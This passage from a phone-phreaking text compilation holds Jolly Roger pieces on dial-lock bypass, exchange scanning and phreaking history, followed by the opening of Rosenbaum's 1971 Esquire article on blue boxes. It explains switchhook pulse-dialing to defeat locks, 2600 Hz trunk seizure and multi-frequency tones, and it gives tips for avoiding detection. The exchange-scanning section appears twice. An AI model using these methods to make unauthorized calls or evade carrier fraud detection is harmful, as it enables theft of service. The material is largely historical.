  14131. coordinate switch and a multiplicity of central controls (called markers).
  14132. There are four varieties:
  14133.         No.1 Crossbar: Used in large urban office application; (1938)
  14134.         No 3 Crossbar: A small system started in (1974).
  14135.         No.4A/4M Crossbar: A 4-wire toll machine; (1943).
  14136.         No.5 Crossbar: A machine originally intended for relatively small
  14137.                        suburban applications; (1948)
  14138.         Crossbar Tandem: A machine used for interlocal office switching.
  14139.  
  14140.  
  14141. Phone Dial Locks -- How to Beat'em      courtesy of the Jolly Roger
  14142.  
  14143.     Have you ever been in an office or somewhere and wanted to make a free phone
  14144. call but some asshole put a lock on the phone to prevent out-going calls? Fret
  14145. no more phellow phreake, for every system can be beaten with a little knowledge!
  14146.  
  14147.     There are two ways to beat this obstacle, first pick the lock, I don't have
  14148. the time to teach locksmithing so we go to the second method which takes 
  14149. advantage of telephone electronics.
  14150.  
  14151.     To be as simple as possibnle when you pick up the phone you complete a 
  14152. circuit known as a local loop. When you hang up you break the circuit.  When
  14153. you dial (pulse) it also breaks the circuit but not long enough to hang up! So 
  14154. you can "Push-dial."  To do this you >>> RAPIDLY <<< depress the switchhook.
  14155. For example, to dial an operator (and then give her the number you want to call)
  14156. >>> RAPIDLY <<< & >>> EVENLY <<< depress the switchhook 10 times.  To dial
  14157. 634-1268, depress 6 X'S pause, then 3 X'S, pause, then 4X'S, etc.  It takes a
  14158. little practice but you'll get the hang of it.  Try  practicing with your own #
  14159. so you'll get a busy tone when right.  It'll also work on touch-tone(tm) since
  14160. a DTMF line will also accept pulse.  Also, never depress the switchhook for
  14161. more than a second or it'll hang up!
  14162.  
  14163.     Finally, remember that you have just as much right to that phone as the
  14164. asshole who put the lock on it!
  14165.  
  14166.                  (From the Official Phreaker's Guide)
  14167.  
  14168.  
  14169.  
  14170. Exchange Scanning                       courtesy of the Jolly Roger
  14171.  
  14172.  
  14173.     Almost every exchange in the bell system has test #'s and other "goodies"
  14174. such as loops with dial-ups. These "goodies" are usually found betweed 9900 
  14175. and 9999 in your local exchange.  If you have the time and initiative, scan 
  14176. your exchange and you may become lucky!
  14177.  
  14178. Here are some findings in the 914-268 exchange:
  14179.  
  14180.  
  14181. 9900 - ANI 
  14182. 9901 - ANI 
  14183. 9927 - OSC. TONE (POSSIBLE TONE SIDE OF A LOOP)
  14184. 9936 - VOICE # TO THE TELCO CENTRAL OFFICE
  14185. 9937 - VOICE # TO THE TELCO CENTRAL OFFICE
  14186. 9941 - COMPUTER (DIGITAL VOICE TRANSMISSION?)
  14187. 9960 - OSC. TONE (TONE SIDE LOOP) MAY ALSO BE A COMPUTER IN SOME EXCHANGES
  14188. 9961 - NO RESPONSE (OTHER END OF LOOP?)
  14189. 9962 - NO RESPONSE (OTHER END OF LOOP?)
  14190. 9963 - NO RESPONSE (OTHER END OF LOOP?)
  14191. 9966 - COMPUTER (SEE 9941)
  14192. 9968 - TONE THAT DISAPPEARS--RESPONDS TO CERTAIN TOUCH-TONE KEYS
  14193.  
  14194.     Most of the numbers between 9900 & 9999 will ring or go to a "what #,
  14195. please?" operator.
  14196.  
  14197.                    (from the Official Phreaker's Manual)
  14198.  
  14199.  
  14200. Exchange Scanning                       courtesy of the Jolly Roger
  14201.  
  14202.  
  14203.     Almost every exchange in the bell system has test #'s and other "goodies"
  14204. such as loops with dial-ups. These "goodies" are usually found betweed 9900 
  14205. and 9999 in your local exchange.  If you have the time and initiative, scan 
  14206. your exchange and you may become lucky!
  14207.  
  14208. Here are some findings in the 914-268 exchange:
  14209.  
  14210.  
  14211. 9900 - ANI 
  14212. 9901 - ANI 
  14213. 9927 - OSC. TONE (POSSIBLE TONE SIDE OF A LOOP)
  14214. 9936 - VOICE # TO THE TELCO CENTRAL OFFICE
  14215. 9937 - VOICE # TO THE TELCO CENTRAL OFFICE
  14216. 9941 - COMPUTER (DIGITAL VOICE TRANSMISSION?)
  14217. 9960 - OSC. TONE (TONE SIDE LOOP) MAY ALSO BE A COMPUTER IN SOME EXCHANGES
  14218. 9961 - NO RESPONSE (OTHER END OF LOOP?)
  14219. 9962 - NO RESPONSE (OTHER END OF LOOP?)
  14220. 9963 - NO RESPONSE (OTHER END OF LOOP?)
  14221. 9966 - COMPUTER (SEE 9941)
  14222. 9968 - TONE THAT DISAPPEARS--RESPONDS TO CERTAIN TOUCH-TONE KEYS
  14223.  
  14224.     Most of the numbers between 9900 & 9999 will ring or go to a "what #,
  14225. please?" operator.
  14226.  
  14227.                    (from the Official Phreaker's Manual)
  14228.  
  14229.  
  14230. A Short History of Phreaking             courtesy of the Jolly Roger
  14231.  
  14232.    Well now we know a little vocabulary, and now its into history, Phreak
  14233. history.  Back at MIT in 1964 arrived a student by the name of Stewart Nelson,
  14234. who was extremely interested in the telephone.  Before entering MIT, he had
  14235. built autodialers, cheese boxes, and many more gadgets.  But when he came to
  14236. MIT he became even more interested in "fone-hacking" as they called it.  After
  14237. a little while he naturally started using the PDP-1, the schools computer at
  14238. that time, and from there he decided that it would be interesting to see
  14239. whether the computer could generate the frequencies required for blue boxing.
  14240. The hackers at MIT were not interested in ripping off Ma Bell, but just
  14241. exploring the telephone network.  Stew (as he was called) wrote a program to
  14242. generate all the tones and set off into the vast network.
  14243.    Now there were more people phreaking than the ones at MIT.  Most people have
  14244. heard of Captain Crunch (No not the cereal), he also discovered how to take
  14245. rides through the fone system, with the aid of a small whistle found in a
  14246. cereal box (can we guess which one?).  By blowing this whistle, he generated
  14247. the magical 2600hz and into the mouthpiece it sailed, giving him complete
  14248. control over the system.  I have heard rumors that at one time he made about
  14249. 1/4 of the calls coming out of San Francisco.  He got famous fast.  He made the
  14250. cover of people magazine and was interviewed several times (as you'll soon
  14251. see).  Well he finally got caught after a long adventurous career.  After he
  14252. was caught he was put in jail and was beaten up quite badly because he would
  14253. not teach other inmates how to box calls.  After getting out, he joined Apple
  14254. computer and is still out there somewhere.
  14255.    Then there was Joe the Whistler, blind form the day he was born.  He could
  14256. whistle a perfect 2600hz tone.  It was rumored phreaks used to call him to tune
  14257. their boxes.
  14258.    Well that was up to about 1970, then from 1970 to 1979, phreaking was mainly
  14259. done by college students, businessmen and anyone who knew enough about
  14260. electronics and the fone company to make a 555 Ic to generate those magic
  14261. tones.  Businessmen and a few college students mainly just blue box to get free
  14262. calls.  The others were still there, exploring 800#'s and the new ESS systems.
  14263. ESS posed a big problem for phreaks then and even a bigger one now.  ESS was
  14264. not widespread, but where it was, blue boxing was next to impossible except for
  14265. the most experienced phreak.  Today ESS is installed in almost all major cities
  14266. and blue boxing is getting harder and harder.
  14267.    1978 marked a change in phreaking, the Apple ][, now a computer that was
  14268. affordable, could be programmed, and could save all that precious work on a
  14269. cassette.  Then just a short while later came the Apple Cat modem.  With this
  14270. modem, generating all blue box tones was easy as writing a program to count
  14271. form one to ten (a little exaggerated).  Pretty soon programs that could
  14272. imitate an operator just as good as the real thing were hitting the community,
  14273. TSPS and Cat's Meow, are the standard now and are the best.
  14274.    1982-1986: LD services were starting to appear in mass numbers.  People now
  14275. had programs to hack LD services, telephone exchanges, and even passwords.  By
  14276. now many phreaks were getting extremely good and BBS's started to spring up
  14277. everywhere, each having many documentations on phreaking for the novice.  Then
  14278. it happened, the movie War Games was released and mass numbers of sixth grade
  14279. to all ages flocked to see it.  The problem wasn't that the movie was bad, it
  14280. was that now EVERYONE wanted to be a hacker/phreak.  Novices came out in such
  14281. mass numbers, that bulletin boards started to be busy 24 hours a day.  To this
  14282. day, they still have not recovered.  Other problems started to occur, novices
  14283. guessed easy passwords on large government computers and started to play
  14284. around...  Well it wasn't long before they were caught, I think that many
  14285. people remember the 414-hackers.  They were so stupid as to say "yes" when the
  14286. computer asked them whether they'd like to play games.  Well at least it takes
  14287. the heat off the real phreaks/hacker/krackers.
  14288.  
  14289.                  (from the Official Phreaker's Manual)
  14290.  
  14291.                    -----> Courtesy of the Jolly Roger<-----
  14292.  
  14293.          ***** The AAG Proudly Presents The AAG Proudly Presents *****
  14294.          *                                                           *
  14295.          *      +----------------------------------------------+     *
  14296.          *                                                           *
  14297.          *              Secrets of the Little Blue Box               *
  14298.          *                                                           *
  14299.          *                     by Ron Rosenbaum                      *
  14300.          *                 Typed by One Farad Cap/AAG                *
  14301.          *                                                           *
  14302.          *        -A story so incredible it may even make you        *
  14303.          *             feel sorry for the phone company-             *
  14304.          *                                                           *
  14305.          *                  (First of four files)                    *
  14306.          *                                                           *
  14307.          *      +----------------------------------------------+     *
  14308.          *                                                           *
  14309.          ***** The AAG Proudly Presents The AAG Proudly Presents *****
  14310.  
  14311. Dudes... These four files contain the story, "Secrets of the Little Blue Box",
  14312. by Ron Rosenbaum.
  14313.  
  14314. -A story so incredible it may even make you feel sorry for the phone company-
  14315.  
  14316. Printed in the October 1971 issue of Esquire Magazine.  If you happen to be in
  14317. a library and come across a collection of Esquire magazines, the October 1971
  14318. issue is the first issue printed in the smaller format.  The story begins on
  14319. page 116 with a picture of a blue box.
  14320.                                       --One Farad Cap, Atlantic Anarchist Guild
  14321.  
  14322.  
  14323. The Blue Box Is Introduced: Its Qualities Are Remarked
  14324.  
  14325. I am in the expensively furnished living room of Al Gilbertson (His real name
  14326. has been changed.), the creator of the "blue box." Gilbertson is holding one of
  14327. his shiny black-and-silver "blue boxes" comfortably in the palm of his hand,
  14328. pointing out the thirteen little red push buttons sticking up from the console.
  14329. He is dancing his fingers over the buttons, tapping out discordant beeping
  14330. electronic jingles.  He is trying to explain to me how his little blue box does
  14331. nothing less than place the entire telephone system of the world, satellites,
  14332. cables and all, at the service of the blue-box operator, free of charge.
  14333.  
  14334. "That's what it does.  Essentially it gives you the power of a super operator.
  14335. You seize a tandem with this top button," he presses the top button with his
  14336. index finger and the blue box emits a high-pitched cheep, "and like that" --
  14337. cheep goes the blue box again -- "you control the phone company's long-distance
  14338. switching systems from your cute little Princes phone or any old pay phone.
  14339. And you've got anonymity.  An operator has to operate from a definite location:
  14340. the phone company knows where she is and what she's doing.  But with your
  14341. beeper box, once you hop onto a trunk, say from a Holiday Inn 800 (toll-free)
  14342. number, they don't know where you are, or where you're coming from, they don't
  14343. know how you slipped into their lines and popped up in that 800 number.  They
  14344. don't even know anything illegal is going on.  And you can obscure your origins
  14345. through as many levels as you like.  You can call next door by way of White
  14346. Plains, then over to Liverpool by cable, and then back here by satellite.  You
  14347. can call yourself from one pay phone all the way around the world to a pay
  14348. phone next to you.  And you get your dime back too."
  14349.  
  14350. "And they can't trace the calls?  They can't charge you?"
  14351. "Not if you do it the right way.  But you'll find that the free-call thing
  14352. isn't really as exciting at first as the feeling of power you get from having
  14353. one of these babies in your hand.  I've watched people when they first get hold
  14354. of one of these things and start using it, and discover they can make
  14355. connections, set up crisscross and zigzag switching patterns back and forth
  14356. across the world.  They hardly talk to the people they finally reach.  They say
  14357. hello and start thinking of what kind of call to make next.  They go a little
  14358. crazy."  He looks down at the neat little package in his palm.  His fingers are
  14359. still dancing, tapping out beeper patterns.
  14360.  
  14361. "I think it's something to do with how small my models are.  There are lots of
  14362. blue boxes around, but mine are the smallest and most sophisticated
  14363. electronically.  I wish I could show you the prototype we made for our big
  14364. syndicate order."
  14365.  
  14366. He sighs.  "We had this order for a thousand beeper boxes from a syndicate
  14367. front man in Las Vegas.  They use them to place bets coast to coast, keep lines
  14368. open for hours, all of which can get expensive if you have to pay.  The deal
  14369. was a thousand blue boxes for $300 apiece. Before then we retailed them for
  14370. $1500 apiece, but $300,000 in one lump was hard to turn down.  We had a
  14371. manufacturing deal worked out in the Philippines.  Everything ready to go.
  14372. Anyway, the model I had ready for limited mass production was small enough to
  14373. fit inside a flip-top Marlboro box.  It had flush touch panels for a keyboard,
  14374. rather than these unsightly buttons, sticking out.  Looked just like a tiny
  14375. portable radio.  In fact, I had designed it with a tiny transistor receiver to
  14376. get one AM channel, so in case the law became suspicious the owner could switch
  14377. on the radio part, start snapping his fingers, and no one could tell anything
  14378. illegal was going on. I thought of everything for this model -- I had it lined
  14379. with a band of thermite which could be ignited by radio signal from a tiny
  14380. button transmitter on your belt, so it could be burned to ashes instantly in
  14381. case of a bust.  It was beautiful.  A beautiful little machine.  You should
  14382. have seen the faces on these syndicate guys when they came back after trying it
  14383. out.  They'd hold it in their palm like they never wanted to let it go, and
  14384. they'd say, 'I can't believe it.  I can't believe it.'  You probably won't
  14385. believe it until you try it."
  14386.  
  14387. The Blue Box Is Tested: Certain Connections Are Made
  14388.  
  14389. About eleven o'clock two nights later Fraser Lucey has a blue box in the palm
  14390. of his left hand and a phone in the palm of his right.  He is standing inside a
  14391. phone booth next to an isolated shut-down motel off Highway 1.  I am standing
  14392. outside the phone booth.
  14393.  
  14394. Fraser likes to show off his blue box for people.  Until a few weeks ago when
  14395. Pacific Telephone made a few arrests in his city, Fraser Lucey liked to bring
  14396. his blue box (This particular blue box, like most blue boxes, is not blue.
  14397. Blue boxes have come to be called "blue boxes" either because 1) The first blue
  14398. box ever confiscated by phone-company security men happened to be blue, or 2)
  14399. To distinguish them from "black boxes."  Black boxes are devices, usually a
  14400. resistor in series, which, when attached to home phones, allow all incoming
  14401. calls to be made without charge to one's caller.) to parties.  It never failed:
  14402. a few cheeps from his device and Fraser became the center of attention at the
  14403. very hippest of gatherings, playing phone tricks and doing request numbers for
  14404. hours.  He began to take orders for his manufacturer in Mexico.  He became a
  14405. dealer.
  14406.  
  14407. Fraser is cautious now about where he shows off his blue box.  But he never
  14408. gets tired of playing with it.  "It's like the first time every time," he tells
  14409. me.
  14410.  
  14411. Fraser puts a dime in the slot.  He listens for a tone and holds the receiver
  14412. up to my ear.  I hear the tone. Fraser begins describing, with a certain
  14413. practiced air, what he does while he does it. "I'm dialing an 800 number now.
  14414. Any 800 number will do.  It's toll free. Tonight I think I'll use the ----- (he
  14415. names a well-know rent-a-car company) 800 number.  Listen, It's ringing.  Here,
  14416. you hear it?  Now watch."  He places the blue box over the mouthpiece of the
  14417. phone so that the one silver and twelve black push buttons are facing up toward
  14418. me.  He presses the silver button -- the one at the top -- and I hear that
  14419. high-pitched beep. "That's 2600 cycles per second to be exact," says Lucey.
  14420. "Now, quick. listen."  He shoves the earpiece at me.  The ringing has vanished.
  14421. The line gives a slight hiccough, there is a sharp buzz, and then nothing but
  14422. soft white noise.
  14423.  
  14424. "We're home free now," Lucey tells me, taking back the phone and applying the
  14425. blue box to its mouthpiece once again.  "We're up on a tandem, into a
  14426. long-lines trunk.  Once you're up on a tandem, you can send yourself anywhere
  14427. you want to go."  He decides to check out London first.  He chooses a certain
  14428. pay phone located in Waterloo Station.  This particular pay phone is popular
  14429. with the phone-phreaks network because there are usually people walking by at
  14430. all hours who will pick it up and talk for a while.
  14431.  
  14432. He presses the lower left-hand corner button which is marked "KP" on the face
  14433. of the box. "That's Key Pulse.  It tells the tandem we're ready to give it
  14434. instructions.  First I'll punch out KP 182 START, which will slide us into the
  14435. overseas sender in White Plains."  I hear a neat clunk-cheep.  "I think we'll
  14436. head over to England by satellite. Cable is actually faster and the connection
  14437. is somewhat better, but I like going by satellite.  So I just punch out KP Zero
  14438. 44.  The Zero is supposed to guarantee a satellite connection and 44 is the
  14439. country code for England.  Okay... we're there.  In Liverpool actually.  Now
  14440. all I have to do is punch out the London area code which is 1, and dial up the
  14441. pay phone.  Here, listen, I've got a ring now."
  14442.  
  14443. I hear the soft quick purr-purr of a London ring.  Then someone picks up the
  14444. phone.
  14445.  
  14446. "Hello," says the London voice.
  14447.  
  14448. "Hello.  Who's this?" Fraser asks.
  14449.  
  14450. "Hello.  There's actually nobody here.  I just picked this up while I was
  14451. passing by.  This is a public phone.  There's no one here to answer actually."
  14452.  
  14453. "Hello.  Don't hang up.  I'm calling from the United States."
  14454.  
  14455. "Oh.  What is the purpose of the call?  This is a public phone you know."
  14456.  
  14457. "Oh.  You know.  To check out, uh, to find out what's going on in London.  How
  14458. is it there?"
  14459.  
  14460. "Its five o'clock in the morning.  It's raining now."
  14461.  
  14462. "Oh.  Who are you?"
  14463.  
  14464. The London passerby turns out to be an R.A.F. enlistee on his way back to the
  14465. base in Lincolnshire, with a terrible hangover after a thirty-six-hour pass.
  14466. He and Fraser talk about the rain.  They agree that it's nicer when it's not
  14467. raining.  They say good-bye and Fraser hangs up.  His dime returns with a nice
  14468. clink.
  14469.  
  14470. "Isn't that far out," he says grinning at me.  "London, like that."
  14471.  
  14472. Fraser squeezes the little blue box affectionately in his palm.  "I told ya
  14473. this thing is for real.  Listen, if you don't mind I'm gonna try this girl I
  14474. know in Paris.  I usually give her a call around this time.  It freaks her out.
  14475. This time I'll use the ------ (a different rent-a-car company) 800 number and
  14476. we'll go by overseas cable, 133; 33 is the country code for France, the 1 sends
  14477. you by cable.  Okay, here we go.... Oh damn.  Busy.  Who could she be talking
  14478. to at this time?"
  14479.  
  14480. A state police car cruises slowly by the motel.  The car does not stop, but
  14481. Fraser gets nervous.  We hop back into his car and drive ten miles in the
  14482. opposite direction until we reach a Texaco station locked up for the night.  We
  14483. pull up to a phone booth by the tire pump. Fraser dashes inside and tries the
  14484. Paris number.  It is busy again.
  14485.  
  14486. "I don't understand who she could be talking to.  The circuits may be busy.
  14487. It's too bad I haven't learned how to tap into lines overseas with this thing
  14488. yet."
  14489.  
  14490. Fraser begins to phreak around, as the phone phreaks say.  He dials a leading
  14491. nationwide charge card's 800 number and punches out the tones that bring him
  14492. the time recording in Sydney, Australia.  He beeps up the weather recording in
  14493. Rome, in Italian of course.  He calls a friend in Boston and talks about a
  14494. certain over-the-counter stock they are into heavily.  He finds the Paris
  14495. number busy again.  He calls up "Dial a Disc" in London, and we listen to
  14496. Double Barrel by David and Ansil Collins, the number-one hit of the week in
  14497. London.  He calls up a dealer of another sort and talks in code.  He calls up
  14498. Joe Engressia, the original blind phone-phreak genius, and pays his respects.
  14499. There are other calls.  Finally Fraser gets through to his young lady in
  14500. Paris.
  14501.  
  14502. They both agree the circuits must have been busy, and criticize the Paris
  14503. telephone system.  At two-thirty in the morning Fraser hangs up, pockets his
  14504. dime, and drives off, steering with one hand, holding what he calls his "lovely
  14505. little blue box" in the other.
  14506.  
  14507. You Can Call Long Distance For Less Than You Think
  14508.  
  14509. "You see, a few years ago the phone company made one big mistake," Gilbertson
  14510. explains two days later in his apartment.  "They were careless enough to let
  14511. some technical journal publish the actual frequencies used to create all their
  14512. multi-frequency tones.  Just a theoretical article some Bell Telephone
  14513. Laboratories engineer was doing about switching theory, and he listed the tones
  14514. in passing.  At ----- (a well-known technical school) I had been fooling around
  14515. with phones for several years before I came across a copy of the journal in the
  14516. engineering library.  I ran back to the lab and it took maybe twelve hours from
  14517. the time I saw that article to put together the first working blue box.  It was
  14518. bigger and clumsier than this little baby, but it worked."
  14519.  
  14520. It's all there on public record in that technical journal written mainly by
  14521. Bell Lab people for other telephone engineers.  Or at least it was public.
  14522. "Just try and get a copy of that issue at some engineering-school library now.
  14523. Bell has had them all red-tagged and withdrawn from circulation," Gilbertson
  14524. tells me.
  14525.  
  14526. "But it's too late.  It's all public now.  And once they became public the
  14527. technology needed to create your own beeper device is within the range of any
  14528. twelve-year-old kid, any twelve-year-old blind kid as a matter of fact.  And he
  14529. can do it in less than the twelve hours it took us.  Blind kids do it all the
  14530. time.  They can't build anything as precise and compact as my beeper box, but
  14531. theirs can do anything mine can do."
  14532.  
  14533. "How?"
  14534.  
  14535. "Okay.  About twenty years ago A.T.&T. made a multi-billion-dollar decision to
  14536. operate its entire long-distance switching system on twelve electronically
  14537. generated combinations of twelve master tones. Those are the tones you
  14538. sometimes hear in the background after you've dialed a long-distance number.
  14539. They decided to use some very simple tones -- the tone for each number is just
  14540. two fixed single-frequency tones played simultaneously to create a certain beat
  14541. frequency.  Like 1300 cycles per second and 900 cycles per second played
  14542. together give you the tone for digit 5.  Now, what some of these phone phreaks
  14543. have done is get themselves access to an electric organ.  Any cheap family
  14544. home-entertainment organ.  Since the frequencies are public knowledge now --
  14545. one blind phone phreak has even had them recorded in one of the talking books
  14546. for the blind -- they just have to find the musical notes on the organ which
  14547. correspond to the phone tones.  Then they tape them.  For instance, to get Ma
  14548. Bell's tone for the number 1, you press down organ keys F~5 and A~5 (900 and
  14549. 700 cycles per second) at the same time.  To produce the tone for 2 it's F~5
  14550. and C~6 (1100 and 700 c.p.s).  The phone phreaks circulate the whole list of
  14551. notes so there's no trial and error anymore."
  14552.  
  14553. He shows me a list of the rest of the phone numbers and the two electric organ
  14554. keys that produce them.
  14555.  
  14556. "Actually, you have to record these notes at 3 3/4 inches-per-second tape speed
  14557. and double it to 7 1/2 inches-per-second when you play them back, to get the
  14558. proper tones," he adds.
  14559.  
  14560. "So once you have all the tones recorded, how do you plug them into the phone
  14561. system?"
  14562.  
  14563. "Well, they take their organ and their cassette recorder, and start banging out
  14564. entire phone numbers in tones on the organ, including country codes, routing
  14565. instructions, 'KP' and 'Start' tones.  Or, if they don't have an organ, someone
  14566. in the phone-phreak network sends them a cassette with all the tones recorded,
  14567. with a voice saying 'Number one,' then you have the tone, 'Number two,' then
  14568. the tone and so on.  So with two cassette recorders they can put together a
  14569. series of phone numbers by switching back and forth from number to number. Any
  14570. idiot in the country with a cheap cassette recorder can make all the free calls
  14571. he wants."
  14572.  
  14573. "You mean you just hold the cassette recorder up the mouthpiece and switch in a
  14574. series of beeps you've recorded?  The phone thinks that anything that makes
  14575. these tones must be its own equipment?"
  14576.  
  14577. "Right.  As long as you get the frequency within thirty cycles per second of
  14578. the phone company's tones, the phone equipment thinks it hears its own voice
  14579. talking to it.  The original granddaddy phone phreak was this blind kid with
  14580. perfect pitch, Joe Engressia, who used to whistle into the phone.  An operator
  14581. could tell the difference between his whistle and the phone company's
  14582. electronic tone generator, but the phone company's switching circuit can't tell
  14583. them apart.  The bigger the phone company gets and the further away from human
  14584. operators it gets, the more vulnerable it becomes to all sorts of phone
  14585. phreaking."
  14586.  
  14587. A Guide for the Perplexed
  14588.  
  14589. "But wait a minute," I stop Gilbertson.  "If everything you do sounds like
  14590. phone-company equipment, why doesn't the phone company charge you for the call
  14591. the way it charges its own equipment?"
  14592.  
  14593. "Okay.  That's where the 2600-cycle tone comes in.  I better start from the
  14594. beginning."
  14595.  
  14596. The beginning he describes for me is a vision of the phone system of the
  14597. continent as thousands of webs, of long-line trunks radiating from each of the
  14598. hundreds of toll switching offices to the other toll switching offices.  Each
  14599. toll switching office is a hive compacted of thousands of long-distance tandems
  14600. constantly whistling and beeping to tandems in far-off toll switching offices.
  14601.  
  14602. The tandem is the key to the whole system.  Each tandem is a line with some
  14603. relays with the capability of signalling any other tandem in any other toll
  14604. switching office on the continent, either directly one-to-one or by programming
  14605. a roundabout route through several other tandems if all the direct routes are
  14606. busy.  For instance, if you want to call from New York to Los Angeles and
  14607. traffic is heavy on all direct trunks between the two cities, your tandem in
  14608. New York is programmed to try the next best route, which may send you down to a
  14609. tandem in New Orleans, then up to San Francisco, or down to a New Orleans
  14610. tandem, back to an Atlanta tandem, over to an Albuquerque tandem and finally up
  14611. to Los Angeles.
  14612.  
  14613. When a tandem is not being used, when it's sitting there waiting for someone to
  14614. make a long-distance call, it whistles.  One side of the tandem, the side
  14615. "facing" your home phone, whistles at 2600 cycles per second toward all the
  14616. home phones serviced by the exchange, telling them it is at their service,
  14617. should they be interested in making a long-distance call.  The other side of
  14618. the tandem is whistling 2600 c.p.s. into one or more long-distance trunk lines,
  14619. telling the rest of the phone system that it is neither sending nor receiving a
  14620. call through that trunk at the moment, that it has no use for that trunk at the
  14621. moment.
  14622.  
  14623. "When you dial a long-distance number the first thing that happens is that you
  14624. are hooked into a tandem.  A register comes up to the side of the tandem facing
  14625. away from you and presents that side with the number you dialed.  This sending
  14626. side of the tandem stops whistling 2600 into its trunk line.  When a tandem
  14627. stops the 2600 tone it has been sending through a trunk, the trunk is said to
  14628. be "seized," and is now ready to carry the number you have dialed -- converted
  14629. into multi-frequency beep tones -- to a tandem in the area code and central
  14630. office you want.
  14631.  
  14632. Now when a blue-box operator wants to make a call from New Orleans to New York
  14633. he starts by dialing the 800 number of a company which might happen to have its
  14634. headquarters in Los Angeles.  The sending side of the New Orleans tandem stops
  14635. sending 2600 out over the trunk to the central office in Los Angeles, thereby
  14636. seizing the trunk.  Your New Orleans tandem begins sending beep tones to a
  14637. tandem it has discovered idly whistling 2600 cycles in Los Angeles.  The
  14638. receiving end of that L.A. tandem is seized, stops whistling 2600, listens to
  14639. the beep tones which tell it which L.A. phone to ring, and starts ringing the
  14640. 800 number.  Meanwhile a mark made in the New Orleans office accounting tape
  14641. notes that a call from your New Orleans phone to the 800 number in L.A. has
  14642. been initiated and gives the call a code number. Everything is routine so far.
  14643.  
  14644. But then the phone phreak presses his blue box to the mouthpiece and pushes the
  14645. 2600-cycle button, sending 2600 out from the New Orleans tandem to the L.A.
  14646. tandem.  The L.A. tandem notices 2600 cycles are coming over the line again and
  14647. assumes that New Orleans has hung up because the trunk is whistling as if idle.
  14648. The L.A. tandem immediately ceases ringing the L.A. 800 number.  But as soon as
  14649. the phreak takes his finger off the 2600 button, the L.A. tandem assumes the
  14650. trunk is once again being used because the 2600 is gone, so it listens for a
  14651. new series of digit tones - to find out where it must send the call.
  14652.  
  14653. Thus the blue-box operator in New Orleans now is in touch with a tandem in L.A.
  14654. which is waiting like an obedient genie to be told what to do next.  The
  14655. blue-box owner then beeps out the ten digits of the New York number which tell
  14656. the L.A. tandem to relay a call to New York City.  Which it promptly does.  As
  14657. soon as your party picks up the phone in New York, the side of the New Orleans
  14658. tandem facing you stops sending 2600 cycles to you and stars carrying his voice
  14659. to you by way of the L.A. tandem.  A notation is made on the accounting tape
  14660. that the connection has been made on the 800 call which had been initiated and
  14661. noted earlier.  When you stop talking to New York a notation is made that the
  14662. 800 call has ended.
  14663.  
  14664. At three the next morning, when the phone company's accounting computer starts
  14665. reading back over the master accounting tape for the past day, it records that
  14666. a call of a certain length of time was made from your New Orleans home to an
  14667. L.A. 800 number and, of course, the accounting computer has been trained to
  14668. ignore those toll-free 800 calls when compiling your monthly bill.
  14669.  
  14670. "All they can prove is that you made an 800 toll-free call," Gilbertson the
  14671. inventor concludes.  "Of course, if you're foolish enough to talk for two hours
  14672. on an 800 call, and they've installed one of their special anti-fraud computer
  14673. programs to watch out for such things, they may spot you and ask why you took
  14674. two hours talking to Army Recruiting's 800 number when you're 4-F.
  14675.  
  14676. But if you do it from a pay phone, they may discover something peculiar the
  14677. next day -- if they've got a blue-box hunting program in their computer -- but
  14678. you'll be a long time gone from the pay phone by then.  Using a pay phone is
  14679. almost guaranteed safe."
  14680.  
  14681. "What about the recent series of blue-box arrests all across the country -- New
  14682. York, Cleveland, and so on?" I asked.  "How were they caught so easily?"
  14683.  
  14684. "From what I can tell, they made one big mistake: they were seizing trunks
  14685. using an area code plus 555-1212 instead of an 800 number. Using 555 is easy to
  14686. detect because when you send multi-frequency beep tones of 555 you get a charge
  14687. for it on your tape and the accounting computer knows there's something wrong
  14688. when it tries to bill you for a two-hour call to Akron, Ohio, information, and
  14689. it drops a trouble card which goes right into the hands of the security agent
  14690. if they're looking for blue-box user.
  14691.  
  14692. "Whoever sold those guys their blue boxes didn't tell them how to use them
  14693. properly, which is fairly irresponsible.  And they were fairly stupid to use
  14694. them at home all the time.
  14695.  
  14696. "But what those arrests really mean is than an awful lot of blue boxes are
  14697. flooding into the country and that people are finding them so easy to make that
  14698. they know how to make them before they know how to use them.  Ma Bell is in
  14699. trouble."
  14700.  
  14701. And if a blue-box operator or a cassette-recorder phone phreak sticks to pay
  14702. phones and 800 numbers, the phone company can't stop them?
  14703.  
  14704. "Not unless they change their entire nationwide long-lines technology, which
  14705. will take them a few billion dollars and twenty years.  Right now they can't do
  14706. a thing.  They're screwed."
  14707.  
  14708. Captain Crunch Demonstrates His Famous Unit
  14709.  
  14710. There is an underground telephone network in this country.  Gilbertson
  14711. discovered it the very day news of his activities hit the papers. That evening
  14712. his phone began ringing.  Phone phreaks from Seattle, from Florida, from New
  14713. York, from San Jose, and from Los Angeles began calling him and telling him
  14714. about the phone-phreak network.  He'd get a call from a phone phreak who'd say
  14715. nothing but, "Hang up and call this number."
  14716.  
  14717. When he dialed the number he'd find himself tied into a conference of a dozen
  14718. phone phreaks arranged through a quirky switching station in British Columbia.
  14719. They identified themselves as phone phreaks, they demonstrated their homemade
  14720. blue boxes which they called "M-Fers" (for "multi-frequency," among other
  14721. things) for him, they talked shop about phone-phreak devices.  They let him in
  14722. on their secrets on the theory that if the phone company was after him he must
  14723. be trustworthy.  And, Gilbertson recalls, they stunned him with their technical
  14724. sophistication.
  14725.  
  14726. I ask him how to get in touch with the phone-phreak network.  He digs around
  14727. through a file of old schematics and comes up with about a dozen numbers in
  14728. three widely separated area codes.
  14729.  
  14730. "Those are the centers," he tells me.  Alongside some of the numbers he writes
  14731. in first names or nicknames: names like Captain Crunch, Dr. No, Frank Carson
  14732. (also a code word for a free call), Marty Freeman (code word for M-F device),
  14733. Peter Perpendicular Pimple, Alefnull, and The Cheshire Cat.  He makes checks
  14734. alongside the names of those among these top twelve who are blind.  There are
  14735. five checks.
  14736.  
  14737. I ask him who this Captain Crunch person is.
  14738.  
  14739. "Oh.  The Captain.  He's probably the most legendary phone phreak.  He calls
  14740. himself Captain Crunch after the notorious Cap'n Crunch 2600 whistle."
  14741. (Several years ago, Gilbertson explains, the makers of Cap'n Crunch breakfast
  14742. cereal offered a toy-whistle prize in every box as a treat for the Cap'n Crunch
  14743. set.  Somehow a phone phreak discovered that the toy whistle just happened to
  14744. produce a perfect 2600-cycle tone.  When the man who calls himself Captain
  14745. Crunch was transferred overseas to England with his Air Force unit, he would
  14746. receive scores of calls from his friends and "mute" them -- make them free of
  14747. charge to them -- by blowing his Cap'n Crunch whistle into his end.)
  14748. "Captain Crunch is one of the older phone phreaks," Gilbertson tells me.  "He's
